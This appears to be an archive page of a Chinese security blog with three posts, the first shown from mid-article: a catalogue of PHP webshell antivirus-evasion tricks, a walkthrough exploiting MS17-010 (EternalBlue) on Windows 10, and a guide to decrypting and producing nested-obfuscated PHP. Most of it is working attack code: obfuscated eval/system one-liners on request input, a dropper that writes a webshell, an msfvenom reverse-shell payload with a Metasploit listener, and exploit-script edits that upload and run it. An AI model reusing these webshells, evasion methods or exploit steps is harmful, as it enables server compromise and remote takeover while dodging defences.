自定义函数+文件名混淆同样,可以配合文件名玩出一些花活,我们建一个PHP名字为 976534.php:function confusion($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数) //__FILE__为976534.php //substr(__FILE__, -10, 6)即从文件名中提取出976534 //confusion(intval(976534))即输出了sysTem(高危函数),拼接即可 $f($_POST['aabyss']); //sysTem($_POST['aabyss']);首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果2.3 特殊字符串主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)$f = 'hello'; $$z = $_POST['aabyss']; eval(``.$hello);3# 生成新文件绕过这是我之前写的一个免杀,其实原理也很简单,该PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的:$hahaha = strtr("abatme","me","em"); //$hahaha = abatem $wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数) $gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO"); //$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php' $wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中现在看这个是不是很简单,但是这个可是VirusTotal全绿、微步沙箱和百度沙箱都过的哦~没想到吧~ 其实在这个简单的基础上还可以拓展出来进行高阶免杀操作4# 回调函数绕过通过回调函数,来执行对应的命令,这里举两个例子:4.1 call_user_func_array()//ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); call_user_func_array($f, array($_POST['aabyss']));4.2 array_map()function fun() { //ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); return ''.$f; } $user = fun(); //拿到assert高危函数 $pass =array($_POST['aabyss']); array_map($user,$user = $pass );回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用5# 可变变量绕过5.1 简单可变变量什么叫可变变量呢?看一下具体例子就明白了:$f = 'hello'; //变量名为f,变量值为Hello $$f = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG echo $hello; //输出AabyssZG那要怎么利用这个特性呢?如下:$f ='hello'; $$f = $_POST['aabyss']; eval($hello); //eval($_POST['aabyss']); 5.2 数组+变量引用混淆上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可$z = "system"; //配合其他姿势,将system高危函数传给z $zhixin = &$z; $event = 'hahaha'; $result = compact("event", "zhixin"); //通过compact创建数组 $z = 'wahaha'; //我将变量z进行修改为'wahaha' $f = $result['zhixin']; $f($_POST['aabyss']); //system($_POST['aabyss']); 根据5.1学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是 wahaha ,从而达到WebShell免杀6# 数组绕过先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接6.1 一维数组$f = substr_replace("systxx","em",4); //system(高危函数) $z = array($array = array('a'=>$f($_GET['aabyss']))); var_dump($z);数组内容如下:Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )6.2 二维数组$f = substr_replace("systxx","em",4); //system(高危函数) $z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss']))))); var_dump($z);7# 类绕过通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行7.1 单类class Test { public $_1=''; function __destruct(){ system("$this->a"); } } $_2 = new Test; $_2->$_1 = $_POST['aabyss'];7.2 多类class Test1 { public $b =''; function post(){ return $_POST['aabyss']; } } class Test2 extends Test1 { public $code = null; function __construct(){ $code = parent::post(); system($code); } } $fff = new Test2; $zzz = new Test1;主要还是要用一些魔术方法来进行ByPass8# 嵌套运算绕过主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可8.1 异或^ 为异或运算符,在PHP中两个变量进行异或时,会将字符串转换成二进制再进行异或运算,运算完再将结果从二进制转换成了字符串$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数 $f($_POST['aabyss']);这里的话,可以参考国光大佬的Python脚本生成异或结果,然后来替换即可:python3 xxx.py > results.txtimport string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])8.2 嵌套运算其实嵌套运算在WebShell免杀中算是常客了,让我们来看一下一个 phpinfo() 的嵌套运算$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));加密手法可以看我写的博客: https://blog.zgsec.cn/index.php/archives/147/9# 传参绕过将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别9.1 Base64传参$decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);传参内容:a=c3lzdGVt //system的base64加密 b=d2hvYW1p //whoami的base64加密也可以尝试使用其他编码或者加密方式进行传参9.2 函数构造传参可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数register_tick_function ( callable $function [, mixed $... ] ) : bool例子如下:$f = $_REQUEST['f']; declare(ticks=1); register_tick_function ($f, $_REQUEST['aabyss']);10# 自定义函数绕过通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行10.1 简单自定义函数这个要与其他的姿势进行结合,目前没办法通过简单自定义函数进行免杀function out($b){ return $b; } function zhixin($a){ return system($a); } function post(){ return $_POST['aabyss']; } function run(){ return out(zhixin)(out(post())); } run();10.2 读取已定义函数获取某个类的全部已定义的常量,不管可见性如何定义public ReflectionClass::getConstants(void) : array例子如下:class Test { const a = 'Sy'; const b = 'st'; const c = 'em'; public function __construct(){ } } $para1; $para2; $reflector = new ReflectionClass('Test'); for ($i=97; $i <= 99; $i++) { $para1 = $reflector->getConstant(chr($i)); $para2.=$para1; } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $para2($_value);11# 读取字符串绕过重点还是放在高危函数上,通过读取各种东西来获得对应字符串11.1 读取注释这里用到读取注释的函数ReflectionClass::getDocComment例子如下: /** * system($_GET[aabyss]); */ class User { } $user = new ReflectionClass('User'); $comment = $user->getDocComment(); $f = substr($comment , 14 , 22); eval($f);11.2 读取数据库可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库$datatest = "[文件的base64编码]"; file_put_contents('./要写入的文件名', base64_decode($datatest));然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果$path = "数据库文件名" $db = new PDO("sqlite:" . $path); $sql_stmt = $db->prepare('select * from test where name="system"'); $sql_stmt->execute(); $f = substr($sql_stmt->queryString, -7, 6); $f($_GET['b']);11.3 读取目录FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息public FilesystemIterator::next ( void ) : void可以尝试使用 file_put_contents 写入一个名为 system.aabyss 的空文件,然后遍历目录拿到字符串 system ,成功ByPass$fi = new FilesystemIterator(dirname(__FILE__)); $f = ''; foreach($fi as $i){ if (substr($i->__toString(), -6,6)=='aabyss') //判断后缀名为.aabyss的文件(其他特殊后缀也行) $f = substr($i->__toString(), -13,6); //从system.aabyss提取出system高危函数 } $f($_GET['b']);为什么要写入为 system.aabyss 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了四,总结上面分享了诸多姿势,重点还是灵活依靠思路和姿势,通过活用各种特性和函数来和WAF对抗,相信你自己也可以的!在写这个整理的文档的时候,也收获颇多,希望各位师傅能认真研读,小人不才望大佬多加指正其实在我个人的眼里,安全对抗其实就是人与人之间的灵魂、思维在碰撞和对抗,我一直执着于这个过程,也欢迎各位师傅和我互相学习、共同进步哈哈~我的个人Github: https://github.com/AabyssZG/ 最后,也欢迎各位师傅关注我们团队公众号啦
2023年03月18日
1,060 阅读
0 评论
7 点赞
2023-03-10
避坑:Win10环境MS17-010漏洞复现过程
0# 概述MS17-010这个漏洞想必大家都已经很熟悉了吧,这里就不过多赘述(如果不了解的自行百度)最近,乌鸦安全公众号的 crow 师傅想要在Win10上复现MS17-010(永恒之蓝)的漏洞,为此也在群里面引发了群友的讨论,但是群友们多次尝试都是失败的,于是便找到我我发现目前互联网上,都没有记录Win10如何完美复现MS17-010的相关文章(有些文章也只是粗略的一笔带过,没有相关错误的解决方法),于是这里就记录一下Win10环境的MS17-010复现过程中碰到的坑点和利用方式吧1# 正常MSF遇到的问题有师傅就说:这TM的Kali自带的MSF不能复现吗?我直接MSF一把梭。好,那我们直接用MSF一把梭看看结果:msfconsole //启动MSF search ms17-010 //搜索MSF相关模块 use 0 //使用exploit/windows/smb/ms17_010_eternalblue模块 show options //查看模块选项 set RHOSTS <目标靶机IP> //设置目标主机IP地址 set target 7 //切换Payload至Windows 10 Pro exploit //使用模块进行攻击可以看到,MSF的exploit模块能检测到目标机器存在漏洞,但是没办法回弹Session(会话)回来,所以我就开展了一系列的相关研究是有一些版本的Win10能通过MSF一把梭,但是遇到不能一把梭的问题怎么办?所以本篇文章的意义就在于此 后面研究了一下,是命名管道的相关原因,可以看看先知社区的这篇文章: https://xz.aliyun.com/t/2151 关于Windows命名管道的深入学习,可以看这两篇文章: 1、FreeBuf:windows安全初探之命名管道 2、浅析Windows命名管道Named Pipe2# 准备工作Win10 镜像(需要版本为1511和1607,其他版本有的也能复现,但是还是有问题)Kali LinuxMS17-010(开源项目,但里面的代码需要改)Windows10 x64 Version 1607(中文简体)下载文件名:cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso SHA1:A2DDAA7BE3BB73FD87C29D6EF8E1EDF4C764DCD9 文件大小:4.05GB 发布时间:2016-08-02 下载地址(复制到迅雷等下载工具): ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/Kali Linux想必大家都有吧,没有请移步这里: https://www.kali.org/downloads/3# 配置靶机3.1 关闭防火墙打开 控制面板->系统和安全->Windows防火墙 ,选择“启用或关闭 Windows 防火墙”3.2 关闭Windows Defender打开 Windows Defender->设置 ,关闭相关设置即可因为本次只是打靶机而已,就仅仅用MSF生成的exe来回弹session,感觉用不上免杀就把Windows Defender关掉当然免杀过Windows Defender也很简单,这个如果师傅们感兴趣可以后面出一些免杀相关的文章3.3 更改组策略-1使用 Win+R 快捷键,输入 gpedit.msc 打开本地组策略编辑器找到 计算机配置->Windows 设置->安全设置->本地策略->安全选项 这里找到 “网络访问:可匿名访问的共享” 并将其改成 \3.4 更改组策略-2(可选)感谢 takuya 师傅看到本篇文章后的整理复现,如果以上组策略配置好以后,check.py 和 zzz_exploit.py 回显以下结果,则是无法找到命名管道的原因:# python2 checker.py <目标靶机IP> Target OS: Windows 10 Pro 14393 The target is not patched === Testing named pipes === spoolss: STATUS_ACCESS_DENIED samr: STATUS_ACCESS_DENIED netlogon: STATUS_ACCESS_DENIED lsarpc: STATUS_ACCESS_DENIED browser: STATUS_ACCESS_DENIED # python2 zzz_exploit.py <目标靶机IP> Target OS: Windows 10 Pro 14393 Not found accessible named pipe Done这时候就需要在组策略里面多加一个配置:即可稳定在Win10靶机上复现本漏洞4# 攻击靶机过程为了方便理解,这里我把我的内网地址放一下:Windows10 靶机地址:192.168.123.219Kali Linux地址:192.168.123.1474.1 使用Poc进行测试开源项目MS17-010: https://github.com/worawit/MS17-010/ 这个开源项目是使用Python写的,并且要用Python2才能跑,首先要安装这两个模块:pip2 install impacket pip2 install netaddr(这里pip2是我自己定义的别名,因为我电脑装了Python2和3两个版本,需要区分开)正常直接使用pip安装即可然后直接跑check.py,如下:python2 checker.py <目标靶机IP>如果回显 netlogon 状态为 OK ,则Poc测试成功漏洞可以利用4.2 生成回弹session会话的exe用MSF生成exe,这个想必大家都很熟悉吧:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali Linux的IP> LPORT=4444 -f exe -o 3.exe中间没有报错就行了(报错一般生成的exe不能用,要么重装MSF要么换一个Kali)4.3 使用Exp上线靶机回弹Session4.3.1 修改Exp脚本因为是Python,所以Poc和Exp在Kali和Win上面都能跑,所以我这里直接用Win演示先把4.2用MSF生成的exe拷贝到Exp的同目录下:然后修改 zzz_exploit.py 文件(实测不修改会利用失败)搜索 smb_pwn(conn, arch) ,然后找到975行这个函数,将以下几条都注释掉:print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2)然后在下面添加两行代码:smb_send_file(smbConn, '3.exe', 'C', '/system.exe') service_exec(conn, r'cmd /c c:\\system.exe') 第一行是上传本地文件 3.exe 到目标靶机的 C:\\system.exe第二行是执行命令 cmd /c c:\\system.exe ,即静默运行 system.exe最终修改完毕的函数内容如下:4.3.2 Kali监听会话回弹端口使用Kali开启MSF监听端口:msfconsole //启动MSF use exploit/multi/handler //使用监听模块 show options //查看模块选项 set lhost <Kali Linux的IP> //设置Kali Linux接收会话的IP地址 set lport 4444 //设置Kali Linux接收会话的端口 set payload windows/meterpreter/reverse_tcp //切换Payload至reverse_tcp exploit //使用模块进行监听4.3.3 运行Exp,成功回弹Session然后用Python2运行对应脚本即可:python2 zzz_exploit.py <目标靶机IP> netlogon python2 zzz_exploit.py <目标靶机IP>两条都可以试试,一个不行换一个即可然后可以在靶机上看到exe上传并运行成功了这个时候,看Kali Linux监听的情况:可以看到,Session回弹成功并可以执行相关操作了附录MS17-010 各系统及对应的补丁系统对应补丁Windows VistaKB4012598Windows XpKB4012598Windows Server 2008KB4012598Windows 7KB4012212、KB4012215Windows Server 2008 R2KB4012212、KB4012215Windows 8.1KB4012213、KB4012216Windows Server 2012 、 Windows Server 2012 R2KB4012213、KB4012214、KB4012216、KB4012217Windows RT 8.1KB4012216Windows 10KB4012216、KB4013198Windows Server 2016KB4013198Windows卸载补丁命令:wusa /uninstall /kb:<补丁ID>查看Windows补丁状态:systeminfo5# 总结MS17-010是非常古老的一个漏洞,同时也是非常经典的一个操作系统高危漏洞,对于它的深入研究和学习还是具有一定的技术价值的,在复现漏洞的过程中一路上还是会碰到这样那样的问题,但希望这篇文章能帮助一些需要帮助的师傅吧。也有师傅觉得太老瞧不上这个漏洞,所以我想问几个问题:为啥这么经典的操作系统漏洞,能从Win7时代一直延续到Win10甚至Win12呢?为啥很多实际企业的生产业务没办法真正根治这个漏洞呢?这也是我们学习漏洞所需要探讨和深入的问题,透过现象看本质,是我们网安人学习路上必不可少的一环。很多时候不要用自己的观念去看待问题,更多的应该用理性的眼光去看待问题。很多时候是我们自己的眼界限制了自己的技术,而不是我们的学习能力限制了自己的技术。
2023年03月10日
1,548 阅读
9 评论
19 点赞
2023-01-30
对于某些畸形PHP的加密和解密方法
0# 概述在Web渗透攻防的情况下,很多时候在前期打点,需要对Webshell进行各种免杀操作来过Waf或者防止防守方的觉察。这时候,各种PHP的加密算法层出不穷,都是将PHP的执行语句,通过加密的方式内嵌在文件当中,来做到“瞒天过海”。刚好最近碰到了一个PHP文件,用了两种畸形的加密方式,看了一眼网上好像也没好的文章讲讲怎么分析的,这里就带大家重温一下这两种加密的解密方式。1# 简单的Gzip+Base64加密这种加密方法网上到处都是,算是最简单的,本来不想写的但和我今天讲的两个主要内容有点相似,这里就提一嘴吧一个简单的样例如下:<?php /*Protected by AabyssZG*/ eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); ?>1.1 解密方法将代码主题内容放入 $a 中,再访问并执行该PHP即可<?php //放入已经加密的PHP内容 $a = "eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));"; function decodephp($a) { $max_level = 300; //最大层数 for ($i = 0; $i < $max_level; $i++) { ob_start(); eval(str_replace('eval', 'echo', $a)); $a = ob_get_clean(); if (strpos($a, 'eval(gzinflate(base64_decode') === false) { return $a; } } } //这里注意要加htmlspecialchars,我看好多文章没写 echo htmlspecialchars(decodephp($a)); ?>1.2 加密方法我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:<?php echo phpinfo(); ?>然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:<?php function encode_file_contents($filename) { $type=strtolower(substr(strrchr($filename,'.'),1)); if('php'==$type && is_file($filename) && is_writable($filename)) { // 如果是PHP文件 并且可写 则进行压缩编码 $contents = file_get_contents($filename); // 判断文件是否已经被编码处理 $pos = strpos($contents,'/*Protected by AabyssZG*/'); if(false === $pos || $pos>100) { // 去除PHP文件注释和空白,减少文件大小 $contents = php_strip_whitespace($filename); // 去除PHP头部和尾部标识 $headerPos = strpos($contents,'<?php'); $footerPos = strrpos($contents,'?>'); $contents = substr($contents,$headerPos+5,$footerPos-$headerPos); $encode = base64_encode(gzdeflate($contents)); // 开始编码 $encode = '<?php'." /*Protected by AabyssZG*/\neval(gzinflate(base64_decode('".$encode."'))); \n?>"; return file_put_contents($filename,$encode); } } return false; } //调用函数 $filename='phpinfo.php'; //这里填入需要加密的原始PHP文件名 encode_file_contents($filename); ?>然后再运行PHP环境,访问并执行 encipher.php 成功后是没有回显的,但是 phpinfo.php 里面的内容已经被加密了,自行查看即可2# 进阶的Gzip+Base64加密这是上一种加密的进阶版,主要表现在有个循环,看代码:<?php function iJG($BHM) { $BHM=gzinflate(base64_decode($BHM)); for($i=0;$i<strlen($BHM);$i++) { $BHM[$i] = chr(ord($BHM[$i])-1); } return $BHM; } eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>这是一个混淆加密的PHP WebShell,让我们看看如何解密2.1 解密方法由以上代码可以看出,这是先将 U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A Base64解密后进行Gzip处理,再将解密后的值膨胀,最后经过for循环,return出 $BHM 这个结果但是做信安这块,一定要学会逆向思维既然 eval 函数是执行php代码的函数,接收了最终解密的代码并执行,那我直接从这里切入呗:<?php function iJG($BHM) { $BHM=gzinflate(base64_decode($BHM)); for($i=0;$i<strlen($BHM);$i++) { $BHM[$i] = chr(ord($BHM[$i])-1); } return $BHM; } echo(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>将 eval 函数 改为 echo 就可以把解密后的PHP代码回显出来了3# o00o0o嵌套加密我第一次看到这种加密,应该是在一两年前,当时看到真的头痛,这种根本不能手动解密(在实际情况中遇到过上百行的这种嵌套加密方式),来看看一个简单的样例吧:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); ?>3.1 解密方法因为里面参数众多,而我们要先看重要参数里面到底有什么:目光来到 eval 代码里面,因为最终解密的代码将带入里面执行所以关键就在 $O00O0O 这个里面,那老方法echo出来:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; echo $O00O0O; ?>原来 $O00O0O 是 base64_decode Base64解码函数啊哈哈,那我直接把最后一行拉出来,把 eval($O00O0O 改为 echo(base64_decode:<?php echo(base64_decode("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); ?>可以看到,第一阶段解密并回显成功了,但还有加密的PHP代码片段:$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));这时候别慌,因为看到这个代码存在好多原来文件的参数,于是再将这段代码带入到原来的文件中,如下:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; $O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?>然后还是老办法,将 eval 函数换成 echo 即可,这里记得一定要加上 htmlspecialchars ,不然代码直接就执行了,看不到解密后的源码了:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; $O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4="; echo htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?>成功解密并回显3.2 加密方法那有些师傅就想问,那我想要这种的加密怎么办呢?老样子,我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:<?php echo phpinfo(); ?>然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:<?php function RandAbc($length=""){//返回随机字符串 $str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; return str_shuffle($str); } $filename='phpinfo.php'; //这里填入需要加密的原始PHP文件名 $T_k1=RandAbc();//随机密匙1 $T_k2=RandAbc();//随机密匙2 $vstr=file_get_contents($filename);//要加密的文件 $v1=base64_encode($vstr); $c=strtr($v1,$T_k1,$T_k2);//根据密匙替换对应字符。 $c=$T_k1.$T_k2.$c; $q1="O00O0O"; $q2="O0O000"; $q3="O0OO00"; $q4="OO0O00"; $q5="OO0000"; $q6="O00OO0"; 